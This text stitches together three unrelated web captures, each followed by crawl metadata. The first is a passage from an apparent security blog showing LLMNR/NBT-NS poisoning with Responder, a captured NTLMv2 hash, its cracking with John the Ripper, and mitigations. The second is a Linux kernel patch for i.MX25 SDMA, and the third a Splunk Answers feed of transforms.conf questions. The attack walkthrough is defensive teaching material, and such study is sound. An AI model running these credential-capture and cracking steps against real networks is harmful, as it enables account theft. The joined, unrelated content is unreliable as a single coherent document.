2. Run the Responder help menu: python Responder.py -h
Notice a couple mandatory options:
-i [IP] : the attacker’s IP address (or the IP address to send the traffic to)
-b [0/1]: Set this to 1 if you want to return a Basic HTTP authentication. 0 will return an NTLM authentication.
In addition to those options, there are many switches which allow you to turn on or off various services to poison - http, https, smb, sql, ftp, ldap, dns, etc…
Let’s follow the example in the image above.
1. To set things up, the attacker at 192.168.1.77 starts responder with “python Responder.py -I eth0 -wfv”.
#python Responder.py -I eth0 7 -wfv
NBT Name Service/LLMNR Answerer 1.0.
To kill this script hit CRTL-C
[+]NBT-NS & LLMNR responder started
Global Parameters set
Challenge set is: 1122334455667788
WPAD Proxy Server is:On
HTTP Server is:ON
SMB Server is:ON
SQL Server is:ON
FTP Server is:ON
DNS Server is:ON
LDAP Server is:ON
FingerPrint Module is:OFF
2. The victim at 192.168.1.74 tries to go to \\pintserver which doesn’t exist.
3. The victim asks anyone on the local network for help identifying the \\pintserver
4. The attacker responds
5. The victim sends their credentials to the attacker.
LLMNR poisoned answer sent to this IP: 192.168.1.74. The requested name was : pintserver.
[+]SMB-NTLMv2 hash captured from : 192.168.1.74
Domain is : WORKGROUP
User is : testuser
[+]SMB complete hash is : testuser::WORKGROUP:
1122334455667788:834735BBB9FBC3B168F1A721C5888E39:01010000000000004F51B4E9FADFCE01A7ABBB61969951540000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C000800300030000000000000000000000000200000DFEC64C689142E250762FE31AD029114A4DFF12665D21124ED6C5111BA7D86710A0010000000000000000000000000000000000009001E0063006900660073002F00700069006E0074007300650072007600650072000000000000000000
6. The Responder program stores the credentials in a file in the local directory called SMB-NTLMv2-Client-192.168.1.74.txt
7. The Attacker runs john the ripper against the file with the “john SMB-NTLMv2-Client-192.168.1.74.txt” command and John the Ripper immediately discovers the password of “password1”
#john SMB-NTLMv2-Client-192.168.1.74.txt
Loaded 1 password hash (NTLMv2 C/R MD4 HMAC-MD5 [32/64])
password1 (testuser)
guesses: 1 time: 0:00:00:00 DONE (Tue Nov 12 15:56:46 2013) c/s: 114620 trying: 123456 - crawford
Use the "--show" option to display all of the cracked passwords reliably
Packet Capture
Let’s look at what’s happening at the network level.
LLMNR packet capture
1. You can see the victim at 192.168.1.74 making a name query to the DNS server for “pintserver”.
2. The DNS doesn’t know the host.
3. The victim then makes a LLMNR broadcast for “pintserver”.
4. The attacker at 192.168.1.77 responds.
5. The victim creates an SMB connection to the attacker and sends its username and password hash.
Protective Measures
Fixing the issue is easy.
1. Disable LLMNR and NBT-NS. You need to disable both because if LLMNR is disabled, it will automatically attempt to use NBT-NS instead. See the instructions below.
2. Prevent inter-VLAN communication - By limiting communication between hosts on the same network, you greatly reduce the success of most local network attacks.
3. Use limited user accounts - Now this won’t prevent an attack, but it will limit the damage that a successful attack can do and at least make an attacker work harder. For example, if the victim is using "domain admin" credentials, then a successful attack would give up the access to all machines on the network. On the other hand, if the victim is using a limited account, then the attacker will need to work harder to get further access in the environment.
To disable LLMNR on windows:
1. Click Start
2. Type gpedit.msc in the text box
3. Navigate to Local Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client
4. In the DNS Client Folder, double click on “Turn Off Multicast Name Resolution” and set it to “Enabled
Turn of Multicast Name Resolution (LLMNR)
The following registry key is set on computers when LLMNR is disabled:
HKLM\Software\Policies\Microsoft\Windows NT\DNSClient
"EnableMulticast" DWORD 0
To disable NetBIOS Name Service on a single machine:
1. Open Control Panel
2. Under "Network and Internet”, click "View network status and tasks”
3. Click “Change adapter settings”
4. Right-click “Local area connection” and then click “Properties”
5. Double-click on “Internet Protocol Version 4 (TCP/IPv4)”, click “Advanced” then click on the “WINS” (Windows Internet Name Service) tab
6. Click on “Disable NetBIOS over TCP/IP"
Disable NBT-NS
To disable NetBIOS Name Service across a domain with DHCP clients:
1. Go to the DHCP Snap-In
2. Go to "scope options" for the network you are changing
3. Right click and Configure Options
4. Select Advanced tab and change "Vendor class" to "Microsoft Windows 2000 Options".
5. In the "Available Options" frame, select and check the box "001 Microsoft Disable Netbios Option"
6. In the "Data Entry" frame, change the data entry to 0x2
7. Click "OK". The new settings will take affect when the clients renew their addresses.
Disable Netbios on Domain
Disabling NetBios through DHCP configuration (Fine, 2011)
References:
1. McGrew, Wesley. (2007, March 22). NetBIOS Name Service Spoofing. http://www.mcgrewsecurity.com/2007/03/22/netbios-name-service-spoofing/
2. Gaffie, Laurent. (2012, October 24). Introducing Responder-1.0. http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
3. Fine, P. (2011, January 13). So long NetBIOS, it’s been fun! Retrieved from Exit | the | Fast | Lane: http://www.exitthefastlane.com/2011/01/so-long-netbios-its-been-fun.html
| {
"url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
"source_domain": "www.sternsecurity.com",
"snapshot_id": "crawl=CC-MAIN-2018-17",
"warc_metadata": {
"Content-Length": "34931",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NBBTSB4KBM7SBULVBQXGDKLDWYHHYVRA",
"WARC-Concurrent-To": "<urn:uuid:1b2ed7b6-9270-42fd-877c-578da2f9c722>",
"WARC-Date": "2018-04-22T12:30:04Z",
"WARC-IP-Address": "198.54.114.195",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:UKFEYZLLETGXP4A4VTX3UHJZ5UAHM7CB",
"WARC-Record-ID": "<urn:uuid:c57d53c6-0201-463b-9f8e-da63e3af10fe>",
"WARC-Target-URI": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:74e75499-d0b6-4b8b-938d-f592f65e44ce>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-176-92.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-17\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for April 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
50,
51,
82,
108,
129,
130,
141,
304,
305,
506,
507,
508,
843,
844,
974,
975,
989,
1182,
1183,
1232,
1341,
1421,
1525,
1599,
1695,
1759,
1760,
1791,
1792,
1793,
1806,
2329,
2330,
2420,
2475,
2515,
2604,
2727,
2896,
2897,
2944,
3055,
3091,
3128,
3159,
3160,
3196,
3218,
3253,
3277,
3295,
3312,
3329,
3346,
3363,
3381,
3408,
3409,
3489,
3575,
3601,
3657,
3747,
3796,
3818,
3837,
3886,
4498,
4621,
4804,
4847,
4904,
4932,
5033,
5107,
5108,
5123,
5176,
5177,
5178,
5199,
5200,
5298,
5332,
5393,
5435,
5533,
5534,
5554,
5582,
5749,
5910,
6373,
6374,
6403,
6418,
6454,
6570,
6676,
6677,
6719,
6720,
6791,
6845,
6871,
6872,
6925,
6947,
7018,
7053,
7120,
7259,
7301,
7302,
7317,
7318,
7385,
7411,
7469,
7506,
7592,
7693,
7752,
7842,
7843,
7869,
7870,
7928,
7929,
7930,
7942,
8082,
8214,
8392,
8393
],
"line_end_idx": [
50,
51,
82,
108,
129,
130,
141,
304,
305,
506,
507,
508,
843,
844,
974,
975,
989,
1182,
1183,
1232,
1341,
1421,
1525,
1599,
1695,
1759,
1760,
1791,
1792,
1793,
1806,
2329,
2330,
2420,
2475,
2515,
2604,
2727,
2896,
2897,
2944,
3055,
3091,
3128,
3159,
3160,
3196,
3218,
3253,
3277,
3295,
3312,
3329,
3346,
3363,
3381,
3408,
3409,
3489,
3575,
3601,
3657,
3747,
3796,
3818,
3837,
3886,
4498,
4621,
4804,
4847,
4904,
4932,
5033,
5107,
5108,
5123,
5176,
5177,
5178,
5199,
5200,
5298,
5332,
5393,
5435,
5533,
5534,
5554,
5582,
5749,
5910,
6373,
6374,
6403,
6418,
6454,
6570,
6676,
6677,
6719,
6720,
6791,
6845,
6871,
6872,
6925,
6947,
7018,
7053,
7120,
7259,
7301,
7302,
7317,
7318,
7385,
7411,
7469,
7506,
7592,
7693,
7752,
7842,
7843,
7869,
7870,
7928,
7929,
7930,
7942,
8082,
8214,
8392,
8393,
8394
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 8394,
"ccnet_original_nlines": 135,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.25057077407836914,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.058789949864149094,
"rps_doc_frac_lines_end_with_ellipsis": 0.007352939806878567,
"rps_doc_frac_no_alph_words": 0.3179223835468292,
"rps_doc_frac_unique_words": 0.4165232479572296,
"rps_doc_mean_word_length": 5.726334095001221,
"rps_doc_num_sentences": 148,
"rps_doc_symbol_to_word_ratio": 0.0017123300349339843,
"rps_doc_unigram_entropy": 5.512948989868164,
"rps_doc_word_count": 1162,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.053050801157951355,
"rps_doc_frac_chars_dupe_6grams": 0.009317699819803238,
"rps_doc_frac_chars_dupe_7grams": 0.009317699819803238,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.017583409324288368,
"rps_doc_frac_chars_top_3gram": 0.010820560157299042,
"rps_doc_frac_chars_top_4gram": 0.0076645598746836185,
"rps_doc_books_importance": -700.1131591796875,
"rps_doc_books_importance_length_correction": -700.1131591796875,
"rps_doc_openwebtext_importance": -448.8160705566406,
"rps_doc_openwebtext_importance_length_correction": -448.8160705566406,
"rps_doc_wikipedia_importance": -328.6994323730469,
"rps_doc_wikipedia_importance_length_correction": -328.6994323730469
},
"fasttext": {
"dclm": 0.45532917976379395,
"english": 0.7474555969238281,
"fineweb_edu_approx": 2.450885772705078,
"eai_general_math": 0.10287678241729736,
"eai_open_web_math": 0.2016925811767578,
"eai_web_code": 0.05851095914840698
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.822",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,290,271,547,587,666,000 | diff mbox
[v2,2/6] ARM: mxc: sdma on imx25 is a V2 block
Message ID [email protected]
State New
Headers show
Commit Message
Shawn Guo June 22, 2011, 2:41 p.m. UTC
The sdma on soc imx25 is not a V1 but V2 block.
Signed-off-by: Shawn Guo <[email protected]>
---
arch/arm/plat-mxc/devices/platform-imx-dma.c | 2 +-
1 files changed, 1 insertions(+), 1 deletions(-)
diff mbox
Patch
diff --git a/arch/arm/plat-mxc/devices/platform-imx-dma.c b/arch/arm/plat-mxc/devices/platform-imx-dma.c
index 1c737db..1fc3522 100644
--- a/arch/arm/plat-mxc/devices/platform-imx-dma.c
+++ b/arch/arm/plat-mxc/devices/platform-imx-dma.c
@@ -33,7 +33,7 @@ struct imx_imx_sdma_data {
#ifdef CONFIG_SOC_IMX25
struct imx_imx_sdma_data imx25_imx_sdma_data __initconst =
- imx_imx_sdma_data_entry_single(MX25, 1, "imx25", 0);
+ imx_imx_sdma_data_entry_single(MX25, 2, "imx25", 0);
#endif /* ifdef CONFIG_SOC_IMX25 */
#ifdef CONFIG_SOC_IMX31 | {
"url": "http://patchwork.ozlabs.org/project/linux-imx/patch/[email protected]/",
"source_domain": "patchwork.ozlabs.org",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "11810",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DSC6SQGKHQNICHE446H5M3YKDA4KLLHL",
"WARC-Concurrent-To": "<urn:uuid:eefc0c38-96ba-4597-a76a-20d7f67f1784>",
"WARC-Date": "2020-07-13T09:42:31Z",
"WARC-IP-Address": "203.11.71.1",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:VSE77OKKIUH26LJLQH4AWIX5H7YDUQ5A",
"WARC-Record-ID": "<urn:uuid:395624dc-7f99-4bd4-9d7c-d3f7501bfe12>",
"WARC-Target-URI": "http://patchwork.ozlabs.org/project/linux-imx/patch/[email protected]/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d80233b5-21a2-4580-af17-93ae28eda688>"
},
"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-15.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
10,
11,
58,
59,
125,
135,
148,
149,
164,
165,
204,
252,
253,
301,
305,
361,
411,
421,
422,
428,
429,
534,
564,
615,
666,
712,
714,
739,
799,
854,
909,
946,
948
],
"line_end_idx": [
10,
11,
58,
59,
125,
135,
148,
149,
164,
165,
204,
252,
253,
301,
305,
361,
411,
421,
422,
428,
429,
534,
564,
615,
666,
712,
714,
739,
799,
854,
909,
946,
948,
972
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 972,
"ccnet_original_nlines": 33,
"rps_doc_curly_bracket": 0.0010288100456818938,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.07894737273454666,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04135337844491005,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4962405860424042,
"rps_doc_frac_unique_words": 0.6741573214530945,
"rps_doc_mean_word_length": 7.764044761657715,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0.011278199963271618,
"rps_doc_unigram_entropy": 3.994011402130127,
"rps_doc_word_count": 89,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02315484918653965,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -115.82708740234375,
"rps_doc_books_importance_length_correction": -115.82708740234375,
"rps_doc_openwebtext_importance": -77.92323303222656,
"rps_doc_openwebtext_importance_length_correction": -64.17074584960938,
"rps_doc_wikipedia_importance": -55.55607223510742,
"rps_doc_wikipedia_importance_length_correction": -55.55607223510742
},
"fasttext": {
"dclm": 0.09810919314622879,
"english": 0.6229803562164307,
"fineweb_edu_approx": 1.2536306381225586,
"eai_general_math": 0.002771619940176606,
"eai_open_web_math": 0.979611873626709,
"eai_web_code": 0.000055190001148730516
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-7,627,045,451,780,763,000 | Questions in topic: "transforms.conf" https://answers.splunk.com/answers/topics/single/160095.html The latest questions for the topic "transforms.conf" How to stop processing properties if a condition is met https://answers.splunk.com/answers/794962/how-to-stop-processing-properties-if-a-condition-i.html Is it possible to stop processing properties in props.conf if a condition is met? I've been running a lot of tests with props.conf-transforms.conf and how the indexer performs under different conditions and settings and I was wondering if there was a way to stop processing transforms assigned under a props.conf stanza if a transform was successful. splunk-enterprise props.conf transforms.conf performance-testing Fri, 17 Jan 2020 12:31:34 GMT ricotries Transforms.conf regex performance https://answers.splunk.com/answers/794850/transformsconf-regex-performance.html I am trying to capture the logging of any martian packets on a Linux system, so I decided to set a monitor in /var/log/messages and created a transform that sends to the indexQueue only messages that are related to martian packets. I wrote this regex: \w{1,4}\s+\d{0,2}\s+[01][0-9]:[0-5][0-9]:[0-5][0-9]\s+[a-z]+\s+kernel:\s+martian\s+source\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\s+from\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3},\s+on\s+dev\s\w+\n.+ Is this overkill for performance purposes and would it even work? I have read that the more detailed the regex, the better it would perform and since that file logs the majority of the kernel messages (I don't care about any other but martian packets for this specific system) I figured I would have to make sure it wouldn't slow down the receiving indexer. Thoughts and comments? Thanks! splunk-enterprise regex transforms.conf performance Thu, 16 Jan 2020 17:36:57 GMT ricotries Understanding the relationship between props.conf and transforms.con https://answers.splunk.com/answers/794494/understanding-the-relationship-between-propsconf-a.html I am setting up a specific forwarder to monitor a log file that generates logs for multiple cases, but I only care about one, so I decided to filter the logs when they reach the server by utilizing the combination of nullQueue and indexQueue, in that order, to only retain the logs that matter to me. What I don't understand in the props.conf is the purpose of [source::<source>] TRANSFORMS-<class> = <stanza_name>, etc. What is the class in that entry? Can it be anything I want, should it tie to what the transform will do or does it have to be related to the stanzas I'll be calling? I read the "Route and filter data" page and I get the general idea, I just don't understand how to tie in the props.conf the configuration set in transforms.conf splunk-enterprise props.conf transforms.conf Mon, 13 Jan 2020 18:52:19 GMT ricotries Filter events from UF based on source + sourcetype or host https://answers.splunk.com/answers/795404/filter-events-from-uf-based-on-source-sourcetype-o.html Hello, is it possible to filter events based on sourcetype + (host OR sourcetype) with props.conf/transforms.conf on indexers? Filtering data only based on sourcetype or source could be too wide. Thanks. splunk-enterprise props.conf transforms.conf Mon, 13 Jan 2020 11:24:31 GMT realsplunk Regex for CIDR exclusion https://answers.splunk.com/answers/793012/regex-for-cidr-exclusion.html Hi, Need some help with getting a correct Regex for CIDR exclusion. *(This is an example. Not the real IP range. ) Trying to exclude events that have ips in the 79.40.96.0/22 range. Following is the Regex that I was able to create using https://regex101.com/. It does match when I test with IPs from the range, in https://regex101.com. However it doesn't seem to work when I test it against events in Splunk. And the regex used is: `^79\.40\.(96\.([1-9]|[1-9]\d|[12]\d\d)|99\.([1-9]?\d|1\d\d|2[0-4]\d|25[0-4])|9[78]\.([1-9]?\d|[12]\d\d))$` (Looked like it didn't get pasted correctly when I posted initially.) Sample event would start with the ip. 79.40.96.12 ....... Thanks, AKN splunk-enterprise regex props.conf transforms.conf Wed, 08 Jan 2020 09:42:55 GMT aknsun Regex / Transforms issue. https://answers.splunk.com/answers/790600/regex-transforms-issue.html Hi Regexian Splunkers, I have an event that looks like so: 2020-02-20 20:22:02.202020 test:>"value" test1:>"value1" test2:>"this is a \"test\"" test3:>"this is \"a test\" ok" test4:>"this is \"another\" test ok?" I want the fields extracted to look as so: test value test1 value1 test2 this is a \"test\" test3 this is \"a test\" ok" test4 this is \"another\" test..ok? In words.... i want a fieldname, which can have letters numbers and underscores.... followed by ```:>``` ... followed by double quotes, the field value (which can have escaped quotes in it) which will be followed by double quotes. My configs look like: props.conf: [mydumbsourcetype] TRANSFORMS-01-Pull_Colon_Angle_Events = Pull_Colon_Angle_Events transforms.conf: [Pull_Colon_Angle_Events] disabled = false SOURCE_KEY = _raw REGEX = ([\w\_]+)\=\"((?:[^"\\]|\\.)*)\" FORMAT = $1::$2 My regex works on Regex101.com ( https://regex101.com/r/LUb4km/1 ).. but on Splunk i am getting no fields. Any help would be lovely. ./D regex field-extraction props.conf transforms.conf Thu, 19 Dec 2019 20:10:24 GMT darrenfuller syslog-ng props and transforms conf for ingesting data https://answers.splunk.com/answers/790383/syslog-ng-props-and-transforms-conf-for-ingesting.html Hi! I'm trying to ingest metric data from a Virtual Machine Linux box, using syslog-ng and Splunk Universal Forwarder. It's for an application, so on my windows box I'm trying to make the configuration files for transforms and props in /etc/apps/app_name/local directory. It's currently working for another box with rsyslog instead of syslog-ng. For some reason it isn't with syslog-ng. transforms.conf [syslog-ng_stats] INGEST_EVAL = metric_name=Metric [object_extraction-ng] DELIMS=";" FIELDS=Date,Hostname,Object,Id,Instance,Status,Type,Metric WRITE_META = true [metric-schema:extract_stats_metrics-ng] METRIC-SCHEMA-MEASURES-ngstats=Hostname,Object,Id,Instance,Status,Type,Metric props.conf [syslog-ng-ctl] TRANSFORMS-fieldvalue=field_extraction TRANSFORMS-metricslog=syslog-ng_stats TRANSFORMS-object=object_extraction-ng METRIC-SCHEMA-TRANSFORMS=metric-schema:extract_stats_metrics-ng I'm pretty sure these are the issue as to why it isn't working, but I don't know what I've done wrong. I hope I explained this properly. If you need more information, let me know. I would greatly appreciate some help on this, I'm stuck. splunk-enterprise props.conf transforms.conf syslog-ng .conf Tue, 17 Dec 2019 22:28:25 GMT chrisratliff95 Universal Forwarder props.conf and transforms.conf settings https://answers.splunk.com/answers/790079/universal-forwarder-propsconf-and-transformsconf-s.html I am trying to get the output from a python script to indexer. So i added transforms.conf and props.conf under C:\Program Files\SplunkUniversalForwarder\etc\system\local transforms.conf [myexternaltable] REGEX = (.) external_cmd = addnum.py $1 DEST_KEY = queue FORMAT = indexQueue props.conf [sitescope_daily2_log] TRANSFORMS-runscript=myexternaltable But its not working, can anyone please help me with correct settings needs to be done on UF. Thanks, Niloo universal-forwarder props.conf transforms.conf splunk-investigate Tue, 17 Dec 2019 11:44:16 GMT kniloo Help filtering data to nullQueue https://answers.splunk.com/answers/787091/help-filtering-data-to-nullqueue.html I'm trying to filter out unwanted data but it's not working using my current stanzas in props & transforms. However, I was able to filter using the regex and reset the sourcetype so that should rule out an issue with the regex I'm attempting to use.. sample_log for applicationone : 2019-12-03 00:59:57,812 stdout INFO [ajp-/0.0.0.0:8009-16]: Hibernate: select sample.SAMPLE_ID as SAMPLE_ID1_5_, SAMPLE0_.sample_DESCRIPTION as sample_DESCRIPTI2_5_ from sample_SAMPLE functional0_ props.conf [applicationone:log] TRANSFORMS-sendtonull = removeDBqueries transforms.conf [removeDBqueries] REGEX = select\s+.*) DEST_KEY = queue FORMAT = nullQueue splunk-enterprise props.conf transforms.conf filtering nullqueue Thu, 05 Dec 2019 21:15:59 GMT johnward4 How to dynamically route logs uto multiple indexes and sourcetypes based on file path and filename https://answers.splunk.com/answers/787689/how-to-dynamically-route-logs-uto-multiple-indexes.html Hi, I am working on OS log onboarding data under multiple hostname folders and these hostname folders are located at same file path. My plan is to dynamically onboard these logs to indexes based on relevant hostname with dynamic sourcetype set based on filename text. My logs directory structure: `\opt\myAPP\host1\filename_type1.log` `\opt\myAPP\host2\filename_type2.log` `\opt\myAPP\host3\filename_type3.log` Expected index name from foldername: `indexname_host1` `indexname_host2` `indexname_host3` Expected sourcetype name from filename : `sourcetype_type1` `sourcetype_type2` `sourcetype_type3` Following are the configuration am using at inputs.conf , where index=route is just placeholder and no such index is created: `[monitor:///opt/myAPP/.../*.log] host_segment = 3 index = route sourcetype = reroute_1 whitelist = (host1|host4|host5) [monitor:///opt/myAPP/.../*.log] host_segment = 3 index = route sourcetype = reroute_2 whitelist = (host2) [monitor:///opt/myAPP/.../*.log] host_segment = 3 index = route sourcetype = reroute_3 whitelist = (host3)` At props.conf `[reroute_1] TRANSFORMS-sourcetype = overridesourcetype1 TRANSFORMS-index = overrideindex [reroute_2] TRANSFORMS-sourcetype = overridesourcetype2 TRANSFORMS-index = overrideindex [reroute_3] TRANSFORMS-sourcetype = overridesourcetype3 TRANSFORMS-index = overrideindex ` at transforms.conf : `[overridesourcetype1] SOURCE_KEY = MetaData:Source DEST_KEY = MetaData:Sourcetype REGEX = source::\/opt\/myAPP\/\w+\/filename\_(\w+).* FORMAT = sourcetype::sourcetype_$1 [overridesourcetype2] SOURCE_KEY = MetaData:Source DEST_KEY = MetaData:Sourcetype REGEX = source::\/opt\/myAPP\/\w+\/filename\_(\w+).* FORMAT = sourcetype::sourcetype_$1 [overridesourcetype3] SOURCE_KEY = MetaData:Source DEST_KEY = MetaData:Sourcetype REGEX = source::\/opt\/myAPP\/\w+\/filename\_(\w+).* FORMAT = sourcetype::sourcetype_$1 [overrideindex] SOURCE_KEY = MetaData:Source REGEX = source::\/opt\/myAPP\/(\w+).* DEST_KEY = _MetaData:Index FORMAT = index_$1` However, all the log files are indexed into the index="indexname_host3". Is there any way to route this as mentioned under 'Expected'. Kindly help... splunk-enterprise props.conf inputs.conf transforms.conf routing Mon, 02 Dec 2019 17:36:13 GMT harshal_chakranarayan how to set timestamp format for each event in a log file? https://answers.splunk.com/answers/787490/how-to-set-timestamp-format-for-each-event-in-a-lo.html Here is the scenario. We have a log file that comes in that we do some modification on the sourcetype to set it based on the lines in the event. We are doing this using props and transforms. I am looking to set the time format for each of the rows individually. I would like to set the main sourcetype (first event of the log file) to "DATETIME_CONFIG=CURRENT" and the other sourcetypes (all other events in the log file) to "TIME_FORMAT = %s". Is this possible using the transforms assignment or will they have an affect on eachother? props.conf # I want this to be DATETIME_CONFIG=CURRENT [sourcetypeexample:keyA:keyB] SHOULD_LINEMERGE = false MAX_TIMESTAMP_LOOKAHEAD = 50 TZ = UTC TIME_FORMAT = %s TRUNCATE = 60000 PREAMBLE_REGEX = ^EndOfFile.* TRANSFORMS-sourcetype = sourcetypetransform # I want this to be TIME_FORMAT = %s [sourcetypeexample:keyA:keyB:card:cardSch1] SHOULD_LINEMERGE = false KV_MODE = none # I want this to be TIME_FORMAT = %s [sourcetypeexample:keyA:keyB:card:cardSch2] SHOULD_LINEMERGE = false KV_MODE = none # I want this to be TIME_FORMAT = %s [sourcetypeexample:keyA:keyB:card:cardSch3] SHOULD_LINEMERGE = false KV_MODE = none transforms.conf [sourcetypetransform] DEST_KEY = MetaData:Sourcetype REGEX = ^[^,]+,([a-zA-Z-_0-9]+),([a-zA-Z-_0-9]+) FORMAT = sourcetype::sourcetypeexample:keyA:keyB:$1:$2 Is the time format set on the initial sourcetype assingment and not changeable after the transform metadata change? splunk-enterprise props.conf transforms.conf Thu, 28 Nov 2019 19:23:34 GMT gduggan1 How to remove the Windows message description https://answers.splunk.com/answers/785176/how-to-remove-the-windows-message-description.html Found a great article on how to remove the Windows message description - https://www.hurricanelabs.com/splunk-tutorials/windows-event-log-filtering-design-in-splunk# - and followed the article to create the following props/transforms conf files: props.conf: [source::WinEventLog:Security] TRANSFORMS-removedescription = removeEventDesc1 transforms.conf: [removeEventDesc1] LOOKAHEAD = 16128 REGEX = (?msi)(.*)This event is generated DEST_KEY = _raw FORMAT = $1 Waited some time for the UFs to phone home and pick up the change, but when I search the Windows events, I still see the description in the event. Any idea or insights as to why would be greatly appreciated. Thx splunk-enterprise regex universal-forwarder props.conf transforms.conf 